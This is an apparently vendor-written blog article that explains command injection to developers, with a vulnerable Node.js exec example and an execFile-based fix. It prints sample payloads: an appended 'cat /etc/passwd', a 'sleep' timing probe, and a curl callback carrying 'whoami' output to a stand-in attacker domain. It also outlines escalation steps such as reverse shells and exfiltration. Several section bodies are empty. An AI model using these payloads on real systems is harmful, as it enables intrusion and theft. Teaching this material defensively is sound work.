Command Injection: Exploitation and Prevention for Devs

Command injection happens when an application passes unsanitised user input into a system shell call, letting an attacker append their own operating system commands to the one the developer intended. The result is often full remote code execution (RCE) — the attacker's command runs with the same privileges as the vulnerable application, which on a misconfigured server can mean reading /etc/passwd, dropping a reverse shell, or pivoting into the internal network. It is distinct from SQL injection (which targets a database) and XSS (which targets a browser) because the payload is interpreted directly by the host operating system.

For Indian engineering teams building on Node, Python, PHP, or Java and shipping features that touch the filesystem, image processing, PDF generation, network utilities, or DevOps tooling, command injection remains one of the most damaging — and most preventable — vulnerability classes found in penetration tests today.

How Unsanitised Input Reaches the Shell

The vulnerability is almost always introduced through a convenience function: a call that hands a string to the operating system's shell interpreter (/bin/sh on Linux, cmd.exe on Windows) instead of executing a program directly. Common culprits across languages:

1. Node.js: child_process.exec(), execSync()
2. Python: os.system(), subprocess.run(..., shell=True), os.popen()
3. PHP: shell_exec(), system(), exec(), passthru(), backticks
4. Java: Runtime.getRuntime().exec() when passed a single concatenated string
5. Ruby: ` backticks , system(), Kernel#exec` with shell interpolation

// Vulnerable Node.js example
const { exec } = require('child_process');
app.get('/ping', (req, res) => {
  exec(`ping -c 4 ${req.query.host}`, (err, stdout) => {
    res.send(stdout);
  });
});

A legitimate request supplies host=example.com. An attacker instead supplies host=example.com; cat /etc/passwd — and because the string is handed to a shell, the semicolon terminates the first command and starts a second one that the developer never intended to run.

Chaining and Metacharacter Operators

Shell interpreters treat certain characters as control operators rather than literal text. An attacker who finds an injection point uses these to append, chain, or substitute commands:

Blind vs In-Band Command Injection

In-band (visible) injection is easiest to find: the application returns the command's output directly in the HTTP response, as in the ping example above, confirming the vulnerability immediately.

Blind command injection is more common in production, where output is not reflected back. The attacker relies on out-of-band signals instead:

1. Time-based: inject ; sleep 10 and measure whether the response takes ~10 seconds longer than baseline — a reliable signal with zero visible output.
2. Out-of-band (OOB): inject a command that forces an outbound request to an attacker-controlled domain, e.g. ` ; curl http://$(whoami).attacker-collab.net . Tools like Burp Collaborator or interactsh` are built to catch these callbacks.
3. File-write confirmation: write a uniquely named file to a web-accessible directory, then request it directly to confirm execution.

Real Impact: From Injection to RCE

Once command execution is confirmed, the practical impact typically escalates through these stages:

1. Reconnaissance — whoami, id, uname -a to fingerprint the box and privilege level.
2. Foothold — drop a reverse shell for interactive access instead of one-shot commands.
3. Privilege escalation — check for misconfigured sudo rights, writable cron jobs, or exposed cloud metadata endpoints that leak IAM credentials.
4. Lateral movement — read secrets and .env files on the same host; pivot to internal services the internet cannot reach.
5. Persistence and exfiltration — add SSH keys or webshells; exfiltrate customer data.

Injection Vulnerability Class Share

Command injection sits alongside SQL injection and XSS as a recurring category among injection-class findings in web application penetration tests. The illustrative split below reflects the relative frequency typically seen across these classes, not a single cited report:

Discovery Methodology

A structured approach for finding command injection during code review or manual testing:

1. Map the attack surface — identify every feature that could plausibly shell out: diagnostics, image/PDF conversion, file compression, backup/export tools, DevOps webhooks, and any "run this on the server" admin feature.
2. Trace data flow — follow input from the HTTP layer to where it is consumed. If it reaches exec, system, popen, Runtime.exec, or a shell-invoking library function, flag it.
3. Test with safe probes first — time-based payloads (; sleep 5) rather than destructive ones; a 5-second delay is a strong, low-risk confirmation signal.
4. Escalate to OOB confirmation — for blind cases with no visible timing difference, use an out-of-band collaborator domain to catch DNS/HTTP callbacks.
5. Check library-mediated calls too — frameworks for image, PDF, and archive handling often shell out internally, so a vulnerable dependency can introduce this bug without the application code ever calling exec directly.

Defence: Eliminate the Shell, Don't Just Sanitise the Input

Blacklisting dangerous characters is a losing game — shell metacharacter sets are large, platform-dependent, and easy to miss an edge case in. The reliable fix removes the shell from the equation entirely.

1. Avoid shelling out wherever possible. Use a language-native library instead of a wrapped OS command. Need to resize an image? Use an image-processing library, not a convert shell call. Need to check a hostname? Use DNS resolution APIs, not a wrapped ping.
2. When you must run an external process, use argument-array APIs — never string concatenation. These pass arguments directly to the process without an intermediate shell parsing them, so shell metacharacters lose their special meaning.

1. Allow-list, don't deny-list, input values. If a parameter should only ever be one of a known set of values (a country code, a file format, a predefined action), validate against that exact allow-list and reject everything else — don't try to strip "bad" characters from free text.
2. Never let user input control the command name or path itself, only validated arguments. Letting input choose which binary runs is a separate, equally dangerous mistake.
3. Run with least privilege. If a process must shell out, run it as a low-privilege service account with no access to secrets, other users' files, or the internal network — so a missed injection point has a contained blast radius.
4. Sandbox where feasible. Containerise or use OS-level sandboxing (seccomp, AppArmor, gVisor) for any feature that processes untrusted files or invokes external tools, limiting what a successful injection can actually reach.

Fixed Example

// Safe: execFile with an argument array, no shell involved
const { execFile } = require('child_process');
const ALLOWED_HOSTS = /^[a-zA-Z0-9.-]+$/;

app.get('/ping', (req, res) => {
  const host = req.query.host;
  if (!ALLOWED_HOSTS.test(host)) return res.status(400).send('Invalid host');
  execFile('ping', ['-c', '4', host], (err, stdout) => {
    res.send(stdout);
  });
});

execFile passes host as a discrete argument to the ping binary — there is no shell to interpret ;, |, or ` `` as control operators, so injection payloads are treated as literal (and here, rejected) hostname text.

Where This Fits in a Broader Security Programme

Command injection findings surface repeatedly in penetration tests against internal admin tools, DevOps dashboards, and legacy features that predate a team's current security review process — precisely because they are easy to miss in a quick manual code read and easy to overlook in automated scans tuned mainly for SQLi and XSS. A structured VAPT engagement that specifically probes file-handling, diagnostic, and export features — including blind, time-based, and OOB confirmation techniques — catches these before an attacker does. Dhisattva AI Pvt Ltd built its automated VAPT platform for Indian dev teams to run exactly this class of check on every scan. For organisations handling personal data under the DPDP Act, an RCE from command injection is also a reportable security incident with compliance consequences; see our DPDP compliance guide for what that obligation looks like in practice.

Running a free VAPT scan against your application surfaces command injection and related OS-level flaws before they reach production, and further reading is available on the Bachao.AI blog.

Checklist for Dev Teams

Frequently Asked Questions